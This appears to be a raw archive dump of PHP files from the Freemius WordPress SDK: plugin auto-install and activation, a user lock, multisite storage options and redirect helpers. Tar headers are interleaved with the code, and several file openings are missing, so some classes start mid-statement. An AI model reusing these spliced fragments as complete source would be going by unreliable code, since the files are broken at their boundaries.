$hook_extra['plugin'] ) { return $response; } $active_plugins_basenames = get_option( 'active_plugins' ); foreach ( $active_plugins_basenames as $key => $active_plugin_basename ) { if ( $basename === $active_plugin_basename ) { // Get filename including extension. $filename = basename( $basename ); $new_basename = plugin_basename( trailingslashit( $this->_fs->is_premium() ? $this->_fs->get_premium_slug() : $this->_fs->get_slug() ) . $filename ); // Verify that the expected correct path exists. if ( file_exists( fs_normalize_path( WP_PLUGIN_DIR . '/' . $new_basename ) ) ) { // Override active plugin name. $active_plugins_basenames[ $key ] = $new_basename; update_option( 'active_plugins', $active_plugins_basenames ); } break; } } return $response; } #---------------------------------------------------------------------------------- #region Auto Activation #---------------------------------------------------------------------------------- /** * Installs and active a plugin when explicitly requested that from a 3rd party service. * * This logic was inspired by the TGMPA GPL licensed library by Thomas Griffin. * * @link http://tgmpluginactivation.com/ * * @author Vova Feldman * @since 1.2.1.7 * * @link https://make.wordpress.org/plugins/2017/03/16/clarification-of-guideline-8-executable-code-and-installs/ * * @uses WP_Filesystem * @uses WP_Error * @uses WP_Upgrader * @uses Plugin_Upgrader * @uses Plugin_Installer_Skin * @uses Plugin_Upgrader_Skin * * @param number|bool $plugin_id * * @return array */ function install_and_activate_plugin( $plugin_id = false ) { if ( ! empty( $plugin_id ) && ! FS_Plugin::is_valid_id( $plugin_id ) ) { // Invalid plugin ID. return array( 'message' => $this->_fs->get_text_inline( 'Invalid module ID.', 'auto-install-error-invalid-id' ), 'code' => 'invalid_module_id', ); } $is_addon = false; if ( FS_Plugin::is_valid_id( $plugin_id ) && $plugin_id != $this->_fs->get_id() ) { $addon = $this->_fs->get_addon( $plugin_id ); if ( ! is_object( $addon ) ) { // Invalid add-on ID. return array( 'message' => $this->_fs->get_text_inline( 'Invalid module ID.', 'auto-install-error-invalid-id' ), 'code' => 'invalid_module_id', ); } $slug = $addon->slug; $premium_slug = $addon->premium_slug; $title = $addon->title . ' ' . $this->_fs->get_text_inline( 'Add-On', 'addon' ); $is_addon = true; } else { $slug = $this->_fs->get_slug(); $premium_slug = $this->_fs->get_premium_slug(); $title = $this->_fs->get_plugin_title() . ( $this->_fs->is_addon() ? ' ' . $this->_fs->get_text_inline( 'Add-On', 'addon' ) : '' ); } if ( $this->is_premium_plugin_active( $plugin_id ) ) { // Premium version already activated. return array( 'message' => $is_addon ? $this->_fs->get_text_inline( 'Premium add-on version already installed.', 'auto-install-error-premium-addon-activated' ) : $this->_fs->get_text_inline( 'Premium version already active.', 'auto-install-error-premium-activated' ), 'code' => 'premium_installed', ); } $latest_version = $this->get_latest_download_details( $plugin_id, false, false ); $target_folder = $premium_slug; // Prep variables for Plugin_Installer_Skin class. $extra = array(); $extra['slug'] = $target_folder; $source = $latest_version->url; $api = null; $install_url = add_query_arg( array( 'action' => 'install-plugin', 'plugin' => urlencode( $slug ), ), 'update.php' ); if ( ! class_exists( 'Plugin_Upgrader', false ) ) { // Include required resources for the installation. require_once ABSPATH . 'wp-admin/includes/class-wp-upgrader.php'; } $skin_args = array( 'type' => 'web', 'title' => sprintf( $this->_fs->get_text_inline( 'Installing plugin: %s', 'installing-plugin-x' ), $title ), 'url' => esc_url_raw( $install_url ), 'nonce' => 'install-plugin_' . $slug, 'plugin' => '', 'api' => $api, 'extra' => $extra, ); // $skin = new Automatic_Upgrader_Skin( $skin_args ); // $skin = new Plugin_Installer_Skin( $skin_args ); $skin = new WP_Ajax_Upgrader_Skin( $skin_args ); // Create a new instance of Plugin_Upgrader. $upgrader = new Plugin_Upgrader( $skin ); // Perform the action and install the plugin from the $source urldecode(). add_filter( 'upgrader_source_selection', array( 'FS_Plugin_Updater', '_maybe_adjust_source_dir' ), 1, 3 ); $install_result = $upgrader->install( $source ); remove_filter( 'upgrader_source_selection', array( 'FS_Plugin_Updater', '_maybe_adjust_source_dir' ), 1 ); if ( is_wp_error( $install_result ) ) { return array( 'message' => $install_result->get_error_message(), 'code' => $install_result->get_error_code(), ); } elseif ( is_wp_error( $skin->result ) ) { return array( 'message' => $skin->result->get_error_message(), 'code' => $skin->result->get_error_code(), ); } elseif ( $skin->get_errors()->get_error_code() ) { return array( 'message' => $skin->get_error_messages(), 'code' => 'unknown', ); } elseif ( is_null( $install_result ) ) { global $wp_filesystem; $error_code = 'unable_to_connect_to_filesystem'; $error_message = $this->_fs->get_text_inline( 'Unable to connect to the filesystem. Please confirm your credentials.' ); // Pass through the error from WP_Filesystem if one was raised. if ( $wp_filesystem instanceof WP_Filesystem_Base && is_wp_error( $wp_filesystem->errors ) && $wp_filesystem->errors->get_error_code() ) { $error_message = $wp_filesystem->errors->get_error_message(); } return array( 'message' => $error_message, 'code' => $error_code, ); } // Grab the full path to the main plugin's file. $plugin_activate = $upgrader->plugin_info(); // Try to activate the plugin. $activation_result = $this->try_activate_plugin( $plugin_activate ); if ( is_wp_error( $activation_result ) ) { return array( 'message' => $activation_result->get_error_message(), 'code' => $activation_result->get_error_code(), ); } return $skin->get_upgrade_messages(); } /** * Tries to activate a plugin. If fails, returns the error. * * @author Vova Feldman * @since 1.2.1.7 * * @param string $file_path Path within wp-plugins/ to main plugin file. * This determines the styling of the output messages. * * @return bool|WP_Error */ protected function try_activate_plugin( $file_path ) { $activate = activate_plugin( $file_path, '', $this->_fs->is_network_active() ); return is_wp_error( $activate ) ? $activate : true; } /** * Check if a premium module version is already active. * * @author Vova Feldman * @since 1.2.1.7 * * @param number|bool $plugin_id * * @return bool */ private function is_premium_plugin_active( $plugin_id = false ) { if ( $plugin_id != $this->_fs->get_id() ) { return $this->_fs->is_addon_activated( $plugin_id, true ); } return is_plugin_active( $this->_fs->premium_plugin_basename() ); } /** * Store the basename since it's not always available in the `_maybe_adjust_source_dir` method below. * * @author Leo Fajardo (@leorw) * @since 2.2.1 * * @param bool|WP_Error $response Response. * @param array $hook_extra Extra arguments passed to hooked filters. * * @return bool|WP_Error */ static function _store_basename_for_source_adjustment( $response, $hook_extra ) { if ( isset( $hook_extra['plugin'] ) ) { self::$_upgrade_basename = $hook_extra['plugin']; } else if ( isset( $hook_extra['theme'] ) ) { self::$_upgrade_basename = $hook_extra['theme']; } else { self::$_upgrade_basename = null; } return $response; } /** * Adjust the plugin directory name if necessary. * Assumes plugin has a folder (not a single file plugin). * * The final destination directory of a plugin is based on the subdirectory name found in the * (un)zipped source. In some cases this subdirectory name is not the same as the expected * slug and the plugin will not be recognized as installed. This is fixed by adjusting * the temporary unzipped source subdirectory name to the expected plugin slug. * * @author Vova Feldman * @since 1.2.1.7 * @since 2.2.1 The method was converted to static since when the admin update bulk products via the Updates section, the logic applies the `upgrader_source_selection` filter for every product that is being updated. * * @param string $source Path to upgrade/zip-file-name.tmp/subdirectory/. * @param string $remote_source Path to upgrade/zip-file-name.tmp. * @param \WP_Upgrader $upgrader Instance of the upgrader which installs the plugin. * * @return string|WP_Error */ static function _maybe_adjust_source_dir( $source, $remote_source, $upgrader ) { if ( ! is_object( $GLOBALS['wp_filesystem'] ) ) { return $source; } $basename = self::$_upgrade_basename; $is_theme = false; // Figure out what the slug is supposed to be. if ( isset( $upgrader->skin->options['extra'] ) ) { // Set by the auto-install logic. $desired_slug = $upgrader->skin->options['extra']['slug']; } else if ( ! empty( $basename ) ) { /** * If it doesn't end with ".php", it's a theme. * * @author Leo Fajardo (@leorw) * @since 2.2.1 */ $is_theme = ( ! fs_ends_with( $basename, '.php' ) ); $desired_slug = ( ! $is_theme ) ? dirname( $basename ) : // Theme slug $basename; } else { // Can't figure out the desired slug, stop the execution. return $source; } if ( is_multisite() ) { /** * If we are running in a multisite environment and the product is not network activated, * the instance will not exist anyway. Therefore, try to update the source if necessary * regardless if the Freemius instance of the product exists or not. * * @author Vova Feldman */ } else if ( ! empty( $basename ) ) { $fs = Freemius::get_instance_by_file( $basename, $is_theme ? WP_FS__MODULE_TYPE_THEME : WP_FS__MODULE_TYPE_PLUGIN ); if ( ! is_object( $fs ) ) { /** * If the Freemius instance does not exist on a non-multisite network environment, it means that: * 1. The product is not powered by Freemius; OR * 2. The product is not activated, therefore, we don't mind if after the update the folder name will change. * * @author Leo Fajardo (@leorw) * @since 2.2.1 */ return $source; } } $subdir_name = untrailingslashit( str_replace( trailingslashit( $remote_source ), '', $source ) ); if ( ! empty( $subdir_name ) && $subdir_name !== $desired_slug ) { $from_path = untrailingslashit( $source ); $to_path = trailingslashit( $remote_source ) . $desired_slug; if ( true === $GLOBALS['wp_filesystem']->move( $from_path, $to_path ) ) { return trailingslashit( $to_path ); } return new WP_Error( 'rename_failed', fs_text_inline( 'The remote plugin package does not contain a folder with the desired slug and renaming did not work.', 'module-package-rename-failure' ), array( 'found' => $subdir_name, 'expected' => $desired_slug ) ); } return $source; } #endregion } vendor/freemius/includes/class-fs-user-lock.php000064400000004423147600365160015627 0ustar00_lock = new FS_Lock( "locked_{$current_user_id}" ); } /** * Try to acquire lock. If the lock is already set or is being acquired by another locker, don't do anything. * * @author Vova Feldman (@svovaf) * @since 2.1.0 * * @param int $expiration * * @return bool TRUE if successfully acquired lock. */ function try_lock( $expiration = 0 ) { return $this->_lock->try_lock( $expiration ); } /** * Acquire lock regardless if it's already acquired by another locker or not. * * @author Vova Feldman (@svovaf) * @since 2.1.0 * * @param int $expiration */ function lock( $expiration = 0 ) { $this->_lock->lock( $expiration ); } /** * Unlock the lock. * * @author Vova Feldman (@svovaf) * @since 2.1.0 */ function unlock() { $this->_lock->unlock(); } }vendor/freemius/includes/class-fs-storage.php000064400000055357147600365160015403 0ustar00_module_type = $module_type; $this->_module_slug = $slug; $this->_is_multisite = is_multisite(); if ( $this->_is_multisite ) { $this->_blog_id = get_current_blog_id(); $this->_network_storage = FS_Key_Value_Storage::instance( $module_type . '_data', $slug, true ); } $this->_storage = FS_Key_Value_Storage::instance( $module_type . '_data', $slug, $this->_blog_id ); } /** * Tells this storage wrapper class that the context plugin is network active. This flag will affect how values * are retrieved/stored from/into the storage. * * @author Leo Fajardo (@leorw) * * @param bool $is_network_active * @param bool $is_delegated_connection */ function set_network_active( $is_network_active = true, $is_delegated_connection = false ) { $this->_is_network_active = $is_network_active; $this->_is_delegated_connection = $is_delegated_connection; } /** * Switch the context of the site level storage manager. * * @author Vova Feldman (@svovaf) * @since 2.0.0 * * @param int $blog_id */ function set_site_blog_context( $blog_id ) { $this->_storage = $this->get_site_storage( $blog_id ); $this->_blog_id = $blog_id; } /** * @author Leo Fajardo (@leorw) * * @param string $key * @param mixed $value * @param null|bool|int $network_level_or_blog_id When an integer, use the given blog storage. When `true` use the multisite storage (if there's a network). When `false`, use the current context blog storage. When `null`, the decision which storage to use (MS vs. Current S) will be handled internally and determined based on the $option (based on self::$_BINARY_MAP). * @param int $option_level Since 2.5.1 * @param bool $flush */ function store( $key, $value, $network_level_or_blog_id = null, $option_level = self::OPTION_LEVEL_UNDEFINED, $flush = true ) { if ( $this->should_use_network_storage( $key, $network_level_or_blog_id, $option_level ) ) { $this->_network_storage->store( $key, $value, $flush ); } else { $storage = $this->get_site_storage( $network_level_or_blog_id ); $storage->store( $key, $value, $flush ); } } /** * @author Leo Fajardo (@leorw) * * @param bool $store * @param string[] $exceptions Set of keys to keep and not clear. * @param int|null|bool $network_level_or_blog_id */ function clear_all( $store = true, $exceptions = array(), $network_level_or_blog_id = null ) { if ( ! $this->_is_multisite || false === $network_level_or_blog_id || is_null( $network_level_or_blog_id ) || is_numeric( $network_level_or_blog_id ) ) { $storage = $this->get_site_storage( $network_level_or_blog_id ); $storage->clear_all( $store, $exceptions ); } if ( $this->_is_multisite && ( true === $network_level_or_blog_id || is_null( $network_level_or_blog_id ) ) ) { $this->_network_storage->clear_all( $store, $exceptions ); } } /** * @author Leo Fajardo (@leorw) * * @param string $key * @param bool $store * @param null|bool|int $network_level_or_blog_id When an integer, use the given blog storage. When `true` use the multisite storage (if there's a network). When `false`, use the current context blog storage. When `null`, the decision which storage to use (MS vs. Current S) will be handled internally and determined based on the $option (based on self::$_BINARY_MAP). */ function remove( $key, $store = true, $network_level_or_blog_id = null ) { if ( $this->should_use_network_storage( $key, $network_level_or_blog_id ) ) { $this->_network_storage->remove( $key, $store ); } else { $storage = $this->get_site_storage( $network_level_or_blog_id ); $storage->remove( $key, $store ); } } /** * @author Leo Fajardo (@leorw) * * @param string $key * @param mixed $default * @param null|bool|int $network_level_or_blog_id When an integer, use the given blog storage. When `true` use the multisite storage (if there's a network). When `false`, use the current context blog storage. When `null`, the decision which storage to use (MS vs. Current S) will be handled internally and determined based on the $option (based on self::$_BINARY_MAP). * @param int $option_level Since 2.5.1 * * @return mixed */ function get( $key, $default = false, $network_level_or_blog_id = null, $option_level = self::OPTION_LEVEL_UNDEFINED ) { if ( $this->should_use_network_storage( $key, $network_level_or_blog_id, $option_level ) ) { return $this->_network_storage->get( $key, $default ); } else { $storage = $this->get_site_storage( $network_level_or_blog_id ); return $storage->get( $key, $default ); } } /** * Multisite activated: * true: Save network storage. * int: Save site specific storage. * false|0: Save current site storage. * null: Save network and current site storage. * Site level activated: * Save site storage. * * @author Vova Feldman (@svovaf) * @since 2.0.0 * * @param bool|int|null $network_level_or_blog_id */ function save( $network_level_or_blog_id = null ) { if ( $this->_is_network_active && ( true === $network_level_or_blog_id || is_null( $network_level_or_blog_id ) ) ) { $this->_network_storage->save(); } if ( ! $this->_is_network_active || true !== $network_level_or_blog_id ) { $storage = $this->get_site_storage( $network_level_or_blog_id ); $storage->save(); } } /** * @author Vova Feldman (@svovaf) * @since 2.0.0 * * @return string */ function get_module_slug() { return $this->_module_slug; } /** * @author Vova Feldman (@svovaf) * @since 2.0.0 * * @return string */ function get_module_type() { return $this->_module_type; } /** * Migration script to the new storage data structure that is network compatible. * * IMPORTANT: * This method should be executed only after it is determined if this is a network * level compatible product activation. * * @author Vova Feldman (@svovaf) * @since 2.0.0 */ function migrate_to_network() { if ( ! $this->_is_multisite ) { return; } $updated = false; if ( ! isset( self::$_NETWORK_OPTIONS_MAP ) ) { self::load_network_options_map(); } foreach ( self::$_NETWORK_OPTIONS_MAP as $option => $storage_level ) { if ( ! $this->is_multisite_option( $option ) ) { continue; } if ( isset( $this->_storage->{$option} ) && ! isset( $this->_network_storage->{$option} ) ) { // Migrate option to the network storage. $this->_network_storage->store( $option, $this->_storage->{$option}, false ); $updated = true; } } if ( ! $updated ) { return; } // Update network level storage. $this->_network_storage->save(); // $this->_storage->save(); } #-------------------------------------------------------------------------------- #region Helper Methods #-------------------------------------------------------------------------------- /** * We don't want to load the map right away since it's not even needed in a non-MS environment. * * Example: * array( * 'option1' => 0, // Means that the option should always be stored on the network level. * 'option2' => 1, // Means that the option should be stored on the network level only when the module was network level activated. * 'option2' => 2, // Means that the option should be stored on the network level only when the module was network level activated AND the connection was NOT delegated. * 'option3' => 3, // Means that the option should always be stored on the site level. * ) * * @author Vova Feldman (@svovaf) * @since 2.0.0 */ private static function load_network_options_map() { self::$_NETWORK_OPTIONS_MAP = array( // Network level options. 'affiliate_application_data' => self::OPTION_LEVEL_NETWORK, 'beta_data' => self::OPTION_LEVEL_NETWORK, 'connectivity_test' => self::OPTION_LEVEL_NETWORK, 'handle_gdpr_admin_notice' => self::OPTION_LEVEL_NETWORK, 'has_trial_plan' => self::OPTION_LEVEL_NETWORK, 'install_sync_timestamp' => self::OPTION_LEVEL_NETWORK, 'install_sync_cron' => self::OPTION_LEVEL_NETWORK, 'is_anonymous_ms' => self::OPTION_LEVEL_NETWORK, 'is_network_activated' => self::OPTION_LEVEL_NETWORK, 'is_on' => self::OPTION_LEVEL_NETWORK, 'is_plugin_new_install' => self::OPTION_LEVEL_NETWORK, 'last_load_timestamp' => self::OPTION_LEVEL_NETWORK, 'network_install_blog_id' => self::OPTION_LEVEL_NETWORK, 'pending_sites_info' => self::OPTION_LEVEL_NETWORK, 'plugin_last_version' => self::OPTION_LEVEL_NETWORK, 'plugin_main_file' => self::OPTION_LEVEL_NETWORK, 'plugin_version' => self::OPTION_LEVEL_NETWORK, 'sdk_downgrade_mode' => self::OPTION_LEVEL_NETWORK, 'sdk_last_version' => self::OPTION_LEVEL_NETWORK, 'sdk_upgrade_mode' => self::OPTION_LEVEL_NETWORK, 'sdk_version' => self::OPTION_LEVEL_NETWORK, 'sticky_optin_added_ms' => self::OPTION_LEVEL_NETWORK, 'subscriptions' => self::OPTION_LEVEL_NETWORK, 'sync_timestamp' => self::OPTION_LEVEL_NETWORK, 'sync_cron' => self::OPTION_LEVEL_NETWORK, 'was_plugin_loaded' => self::OPTION_LEVEL_NETWORK, 'network_user_id' => self::OPTION_LEVEL_NETWORK, 'plugin_upgrade_mode' => self::OPTION_LEVEL_NETWORK, 'plugin_downgrade_mode' => self::OPTION_LEVEL_NETWORK, 'is_network_connected' => self::OPTION_LEVEL_NETWORK, /** * Special flag that is used when a super-admin upgrades to the new version of the SDK that supports network level integration, when the connection decision wasn't made for all the sites in the network. */ 'is_network_activation' => self::OPTION_LEVEL_NETWORK, 'license_migration' => self::OPTION_LEVEL_NETWORK, // When network activated, then network level. 'install_timestamp' => self::OPTION_LEVEL_NETWORK_ACTIVATED, 'prev_is_premium' => self::OPTION_LEVEL_NETWORK_ACTIVATED, 'require_license_activation' => self::OPTION_LEVEL_NETWORK_ACTIVATED, // If not network activated OR delegated, then site level. 'activation_timestamp' => self::OPTION_LEVEL_NETWORK_ACTIVATED_NOT_DELEGATED, 'expired_license_notice_shown' => self::OPTION_LEVEL_NETWORK_ACTIVATED_NOT_DELEGATED, 'is_whitelabeled' => self::OPTION_LEVEL_NETWORK_ACTIVATED_NOT_DELEGATED, 'last_license_key' => self::OPTION_LEVEL_NETWORK_ACTIVATED_NOT_DELEGATED, 'last_license_user_id' => self::OPTION_LEVEL_NETWORK_ACTIVATED_NOT_DELEGATED, 'prev_user_id' => self::OPTION_LEVEL_NETWORK_ACTIVATED_NOT_DELEGATED, 'sticky_optin_added' => self::OPTION_LEVEL_NETWORK_ACTIVATED_NOT_DELEGATED, 'uninstall_reason' => self::OPTION_LEVEL_NETWORK_ACTIVATED_NOT_DELEGATED, 'is_pending_activation' => self::OPTION_LEVEL_NETWORK_ACTIVATED_NOT_DELEGATED, 'pending_license_key' => self::OPTION_LEVEL_NETWORK_ACTIVATED_NOT_DELEGATED, // Site level options. 'is_anonymous' => self::OPTION_LEVEL_SITE, 'clone_id' => self::OPTION_LEVEL_SITE, ); } /** * This method will and should only be executed when is_multisite() is true. * * @author Vova Feldman (@svovaf) * @since 2.0.0 * * @param string $key * @param int $option_level Since 2.5.1 * * @return bool */ private function is_multisite_option( $key, $option_level = self::OPTION_LEVEL_UNDEFINED ) { if ( ! isset( self::$_NETWORK_OPTIONS_MAP ) ) { self::load_network_options_map(); } if ( self::OPTION_LEVEL_UNDEFINED === $option_level && isset( self::$_NETWORK_OPTIONS_MAP[ $key ] ) ) { $option_level = self::$_NETWORK_OPTIONS_MAP[ $key ]; } if ( self::OPTION_LEVEL_UNDEFINED === $option_level ) { // Option not found -> use site level storage. return false; } if ( self::OPTION_LEVEL_NETWORK === $option_level ) { // Option found and set to always use the network level storage on a multisite. return true; } if ( self::OPTION_LEVEL_SITE === $option_level ) { // Option found and set to always use the site level storage on a multisite. return false; } if ( ! $this->_is_network_active ) { return false; } if ( self::OPTION_LEVEL_NETWORK_ACTIVATED === $option_level ) { // Network activated. return true; } if ( self::OPTION_LEVEL_NETWORK_ACTIVATED_NOT_DELEGATED === $option_level && ! $this->_is_delegated_connection ) { // Network activated and not delegated. return true; } return false; } /** * @author Leo Fajardo * * @param string $key * @param null|bool|int $network_level_or_blog_id When an integer, use the given blog storage. When `true` use the multisite storage (if there's a network). When `false`, use the current context blog storage. When `null`, the decision which storage to use (MS vs. Current S) will be handled internally and determined based on the $option (based on self::$_BINARY_MAP). * @param int $option_level Since 2.5.1 * * @return bool */ private function should_use_network_storage( $key, $network_level_or_blog_id = null, $option_level = self::OPTION_LEVEL_UNDEFINED ) { if ( ! $this->_is_multisite ) { // Not a multisite environment. return false; } if ( is_numeric( $network_level_or_blog_id ) ) { // Explicitly asked to use a specified blog storage. return false; } if ( is_bool( $network_level_or_blog_id ) ) { // Explicitly specified whether it should use the network or blog level storage. return $network_level_or_blog_id; } // Determine which storage to use based on the option. return $this->is_multisite_option( $key, $option_level ); } /** * @author Vova Feldman (@svovaf) * @since 2.0.0 * * @param int $blog_id * * @return \FS_Key_Value_Storage */ private function get_site_storage( $blog_id = 0 ) { if ( ! is_numeric( $blog_id ) || $blog_id == $this->_blog_id || 0 == $blog_id ) { return $this->_storage; } return FS_Key_Value_Storage::instance( $this->_module_type . '_data', $this->_storage->get_secondary_id(), $blog_id ); } #endregion #-------------------------------------------------------------------------------- #region Magic methods #-------------------------------------------------------------------------------- function __set( $k, $v ) { if ( $this->should_use_network_storage( $k ) ) { $this->_network_storage->{$k} = $v; } else { $this->_storage->{$k} = $v; } } function __isset( $k ) { return $this->should_use_network_storage( $k ) ? isset( $this->_network_storage->{$k} ) : isset( $this->_storage->{$k} ); } function __unset( $k ) { if ( $this->should_use_network_storage( $k ) ) { unset( $this->_network_storage->{$k} ); } else { unset( $this->_storage->{$k} ); } } function __get( $k ) { return $this->should_use_network_storage( $k ) ? $this->_network_storage->{$k} : $this->_storage->{$k}; } #endregion } vendor/freemius/includes/fs-essential-functions.php000064400000035715147600365160016625 0ustar00add( "Freemius failed to redirect the page because the headers have been already sent from line {$line} in file {$file}. If it's unexpected, it usually happens due to invalid space and/or EOL character(s).", 'Oops...', 'error' ); } return false; } if ( defined( 'DOING_AJAX' ) ) { // Don't redirect on AJAX calls. return false; } if ( ! $location ) // allows the wp_redirect filter to cancel a redirect { return false; } $location = fs_sanitize_redirect( $location ); if ( $is_IIS ) { header( "Refresh: 0;url=$location" ); } else { if ( php_sapi_name() != 'cgi-fcgi' ) { status_header( $status ); } // This causes problems on IIS and some FastCGI setups header( "Location: $location" ); } if ( $exit ) { exit(); } return true; } if ( ! function_exists( 'fs_sanitize_redirect' ) ) { /** * Sanitizes a URL for use in a redirect. * * @since 2.3 * * @param string $location * * @return string redirect-sanitized URL */ function fs_sanitize_redirect( $location ) { $location = preg_replace( '|[^a-z0-9-~+_.?#=&;,/:%!]|i', '', $location ); $location = fs_kses_no_null( $location ); // remove %0d and %0a from location $strip = array( '%0d', '%0a' ); $found = true; while ( $found ) { $found = false; foreach ( (array) $strip as $val ) { while ( strpos( $location, $val ) !== false ) { $found = true; $location = str_replace( $val, '', $location ); } } } return $location; } } if ( ! function_exists( 'fs_kses_no_null' ) ) { /** * Removes any NULL characters in $string. * * @since 1.0.0 * * @param string $string * * @return string */ function fs_kses_no_null( $string ) { $string = preg_replace( '/\0+/', '', $string ); $string = preg_replace( '/(\\\\0)+/', '', $string ); return $string; } } } #endregion Core Redirect (copied from BuddyPress) ----------------------------------------- if ( ! function_exists( 'fs_get_ip' ) ) { /** * Get server IP. * * @since 2.5.1 This method returns the server IP. * * @author Vova Feldman (@svovaf) * @since 1.1.2 * * @return string|null */ function fs_get_ip() { return empty( $_SERVER[ 'SERVER_ADDR' ] ) ? null : $_SERVER[ 'SERVER_ADDR' ]; } } if ( ! function_exists( 'fs_find_caller_plugin_file' ) ) { /** * Leverage backtrace to find caller plugin main file path. * * @author Vova Feldman (@svovaf) * @since 1.0.6 * * @return string */ function fs_find_caller_plugin_file() { /** * All the code below will be executed once on activation. * If the user changes the main plugin's file name, the file_exists() * will catch it. */ if ( ! function_exists( 'get_plugins' ) ) { require_once ABSPATH . 'wp-admin/includes/plugin.php'; } $all_plugins = fs_get_plugins( true ); $all_plugins_paths = array(); // Get active plugin's main files real full names (might be symlinks). foreach ( $all_plugins as $relative_path => $data ) { $all_plugins_paths[] = fs_normalize_path( realpath( WP_PLUGIN_DIR . '/' . $relative_path ) ); } $plugin_file = null; for ( $i = 1, $bt = debug_backtrace(), $len = count( $bt ); $i < $len; $i ++ ) { if ( empty( $bt[ $i ]['file'] ) ) { continue; } if ( in_array( fs_normalize_path( $bt[ $i ]['file'] ), $all_plugins_paths ) ) { $plugin_file = $bt[ $i ]['file']; break; } } if ( is_null( $plugin_file ) ) { // Throw an error to the developer in case of some edge case dev environment. wp_die( 'Freemius SDK couldn\'t find the plugin\'s main file. Please contact sdk@freemius.com with the current error.', 'Error', array( 'back_link' => true ) ); } return $plugin_file; } } require_once dirname( __FILE__ ) . '/supplements/fs-essential-functions-1.1.7.1.php'; if ( ! function_exists( 'fs_update_sdk_newest_version' ) ) { /** * Update SDK newest version reference. * * @author Vova Feldman (@svovaf) * @since 1.1.6 * * @param string $sdk_relative_path * @param string|bool $plugin_file * * @global $fs_active_plugins */ function fs_update_sdk_newest_version( $sdk_relative_path, $plugin_file = false ) { /** * If there is a plugin running an older version of FS (1.2.1 or below), the `fs_update_sdk_newest_version()` * function in the older version will be used instead of this one. But since the older version is using * the `is_plugin_active` function to check if a plugin is active, passing the theme's `plugin_path` to the * `is_plugin_active` function will return false since the path is not a plugin path, so `in_activation` will be * `true` for theme modules and the upgrading of the SDK version to 1.2.2 or newer version will work fine. * * Future versions that will call this function will use the proper logic here instead of just relying on the * `is_plugin_active` function to fail for themes. * * @author Leo Fajardo (@leorw) * @since 1.2.2 */ global $fs_active_plugins; $newest_sdk = $fs_active_plugins->plugins[ $sdk_relative_path ]; if ( ! is_string( $plugin_file ) ) { $plugin_file = plugin_basename( fs_find_caller_plugin_file() ); } if ( ! isset( $newest_sdk->type ) || 'theme' !== $newest_sdk->type ) { if ( ! function_exists( 'is_plugin_active' ) ) { require_once ABSPATH . 'wp-admin/includes/plugin.php'; } $in_activation = ( ! is_plugin_active( $plugin_file ) ); } else { $theme = wp_get_theme(); $in_activation = ( $newest_sdk->plugin_path == $theme->stylesheet ); } $fs_active_plugins->newest = (object) array( 'plugin_path' => $plugin_file, 'sdk_path' => $sdk_relative_path, 'version' => $newest_sdk->version, 'in_activation' => $in_activation, 'timestamp' => time(), ); // Update DB with latest SDK version and path. update_option( 'fs_active_plugins', $fs_active_plugins ); } } if ( ! function_exists( 'fs_newest_sdk_plugin_first' ) ) { /** * Reorder the plugins load order so the plugin with the newest Freemius SDK is loaded first. * * @author Vova Feldman (@svovaf) * @since 1.1.6 * * @return bool Was plugin order changed. Return false if plugin was loaded first anyways. * * @global $fs_active_plugins */ function fs_newest_sdk_plugin_first() { global $fs_active_plugins; /** * @todo Multi-site network activated plugin are always loaded prior to site plugins so if there's a plugin activated in the network mode that has an older version of the SDK of another plugin which is site activated that has new SDK version, the fs-essential-functions.php will be loaded from the older SDK. Same thing about MU plugins (loaded even before network activated plugins). * * @link https://github.com/Freemius/wordpress-sdk/issues/26 */ $newest_sdk_plugin_path = $fs_active_plugins->newest->plugin_path; $active_plugins = get_option( 'active_plugins', array() ); $updated_active_plugins = array( $newest_sdk_plugin_path ); $plugin_found = false; $is_first_path = true; foreach ( $active_plugins as $key => $plugin_path ) { if ( $plugin_path === $newest_sdk_plugin_path ) { if ( $is_first_path ) { // if it's the first plugin already, no need to continue return false; } $plugin_found = true; // Skip the plugin (it is already added as the 1st item of $updated_active_plugins). continue; } $updated_active_plugins[] = $plugin_path; if ( $is_first_path ) { $is_first_path = false; } } if ( $plugin_found ) { update_option( 'active_plugins', $updated_active_plugins ); return true; } if ( is_multisite() ) { // Plugin is network active. $network_active_plugins = get_site_option( 'active_sitewide_plugins', array() ); if ( isset( $network_active_plugins[ $newest_sdk_plugin_path ] ) ) { reset( $network_active_plugins ); if ( $newest_sdk_plugin_path === key( $network_active_plugins ) ) { // Plugin is already activated first on the network level. return false; } else { $time = $network_active_plugins[ $newest_sdk_plugin_path ]; // Remove plugin from its current position. unset( $network_active_plugins[ $newest_sdk_plugin_path ] ); // Set it to be included first. $network_active_plugins = array( $newest_sdk_plugin_path => $time ) + $network_active_plugins; update_site_option( 'active_sitewide_plugins', $network_active_plugins ); return true; } } } return false; } } if ( ! function_exists( 'fs_fallback_to_newest_active_sdk' ) ) { /** * Go over all Freemius SDKs in the system and find and "remember" * the newest SDK which is associated with an active plugin. * * @author Vova Feldman (@svovaf) * @since 1.1.6 * * @global $fs_active_plugins */ function fs_fallback_to_newest_active_sdk() { global $fs_active_plugins; /** * @var object $newest_sdk_data */ $newest_sdk_data = null; $newest_sdk_path = null; foreach ( $fs_active_plugins->plugins as $sdk_relative_path => $data ) { if ( is_null( $newest_sdk_data ) || version_compare( $data->version, $newest_sdk_data->version, '>' ) ) { // If plugin inactive or SDK starter file doesn't exist, remove SDK reference. if ( 'plugin' === $data->type ) { $is_module_active = is_plugin_active( $data->plugin_path ); } else { $active_theme = wp_get_theme(); $is_module_active = ( $data->plugin_path === $active_theme->get_template() ); } $is_sdk_exists = file_exists( fs_normalize_path( WP_PLUGIN_DIR . '/' . $sdk_relative_path . '/start.php' ) ); if ( ! $is_module_active || ! $is_sdk_exists ) { unset( $fs_active_plugins->plugins[ $sdk_relative_path ] ); // No need to store the data since it will be stored in fs_update_sdk_newest_version() // or explicitly with update_option(). } else { $newest_sdk_data = $data; $newest_sdk_path = $sdk_relative_path; } } } if ( is_null( $newest_sdk_data ) ) { // Couldn't find any SDK reference. $fs_active_plugins = new stdClass(); update_option( 'fs_active_plugins', $fs_active_plugins ); } else { fs_update_sdk_newest_version( $newest_sdk_path, $newest_sdk_data->plugin_path ); } } }vendor/freemius/includes/class-freemius.php000064400003700551147600365160015144 0ustar00store_id_slug_type_path_map( $module_id, $slug ); } $this->_module_id = $module_id; $this->_slug = $this->get_slug(); $this->_module_type = $this->get_module_type(); $this->_blog_id = is_multisite() ? get_current_blog_id() : null; $this->_storage = FS_Storage::instance( $this->_module_type, $this->_slug ); // If not set or 24 hours have already passed from the last time it's set, set the last load timestamp to the current time. if ( ! isset( $this->_storage->last_load_timestamp ) || 